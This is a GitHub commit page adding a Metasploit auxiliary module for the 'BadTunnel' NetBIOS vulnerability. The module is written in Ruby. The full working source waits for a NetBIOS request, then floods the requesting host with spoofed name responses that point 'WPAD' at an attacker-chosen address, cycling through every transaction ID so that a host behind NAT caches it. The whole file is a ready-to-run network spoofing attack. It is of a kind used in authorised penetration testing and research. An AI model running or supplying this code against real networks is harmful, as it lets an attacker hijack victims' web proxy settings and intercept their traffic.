Skip to content

Commit 0af2fa7

Browse files
committed
Add a module for the 'BadTunnel' vulnerability
1 parent da532ec commit 0af2fa7

File tree

1 file changed

+122
-0
lines changed

1 file changed

+122
-0
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
require 'resolv'
9+
10+
11+
class MetasploitModule < Msf::Auxiliary
12+
13+
def initialize
14+
super(
15+
'Name' => 'NetBIOS "BadTunnel" Service',
16+
'Description' => %q{
17+
This module listens for a NetBIOS name request and then continiously spams
18+
NetBIOS responses for the name "WPAD" to the requesting host and port. This
19+
can cause a system behind a NAT gateway to cache a malicious address for the
20+
"WPAD" hostname.
21+
},
22+
'Author' => ['hdm'],
23+
'License' => MSF_LICENSE,
24+
'Actions' =>
25+
[
26+
[ 'Service' ]
27+
],
28+
'PassiveActions' =>
29+
[
30+
'Service'
31+
],
32+
'DefaultAction' => 'Service'
33+
)
34+
35+
register_options(
36+
[
37+
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),
38+
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),
39+
OptAddress.new('WPADHOST', [ true, "The address that WPAD should resolve to", nil ]),
40+
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]),
41+
], self.class)
42+
end
43+
44+
def netbios_service
45+
@port = datastore['SRVPORT'].to_i
46+
47+
# MacOS X workaround
48+
::Socket.do_not_reverse_lookup = true
49+
50+
print_status("NetBIOS 'BadTunnel' service is initializing")
51+
@sock = ::UDPSocket.new()
52+
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
53+
@sock.bind(datastore['SRVHOST'], @port)
54+
55+
@wpad_host = datastore['WPADHOST']
56+
@targ_rate = datastore['PPSRATE'].to_i
57+
58+
print_status("BadTunnel: Listening for NetBIOS requests...")
59+
60+
begin
61+
loop do
62+
packet, addr = @sock.recvfrom(65535)
63+
next if packet.length == 0
64+
65+
@targ_addr = addr[3]
66+
@targ_port = addr[1]
67+
break
68+
end
69+
70+
print_status("BadTunnel: >> Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")
71+
@sock.connect(@targ_addr, @targ_port)
72+
netbios_spam
73+
74+
rescue ::Interrupt
75+
raise $!
76+
rescue ::Exception => e
77+
print_error("BadTunnel: Error #{e.class} #{e} #{e.backtrace}")
78+
ensure
79+
@sock.close
80+
end
81+
end
82+
83+
def netbios_spam
84+
payload = ["FFFF85000000000100000000204648464145424545434143414341434143414341434143414341434143414141000020000100FFFFFF000600000FFFFFFFF"].pack("H*")
85+
payload[58,4] = Rex::Socket.addr_aton(@wpad_host)
86+
87+
stime = Time.now.to_f
88+
pcnt = 0
89+
pps = 0
90+
91+
print_status("BadTunnel: >> Spamming WPAD responses to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")
92+
93+
live = true
94+
while live
95+
0.upto(65535) do |txid|
96+
begin
97+
payload[0,2] = [txid].pack("n")
98+
@sock.write(payload)
99+
pcnt += 1
100+
101+
pps = (pcnt / (Time.now.to_f - stime)).to_i
102+
if pps > @targ_rate
103+
sleep(0.01)
104+
end
105+
rescue Errno::ECONNREFUSED
106+
print_error("BadTunnel: >> Error: Target sent us an ICMP port unreachable, port is likely closed")
107+
live = false
108+
break
109+
end
110+
end
111+
end
112+
113+
print_status("BadTunnel: >> Cleaning up...")
114+
end
115+
116+
def run
117+
loop do
118+
netbios_service
119+
end
120+
end
121+
122+
end

0 commit comments

Comments
 (0)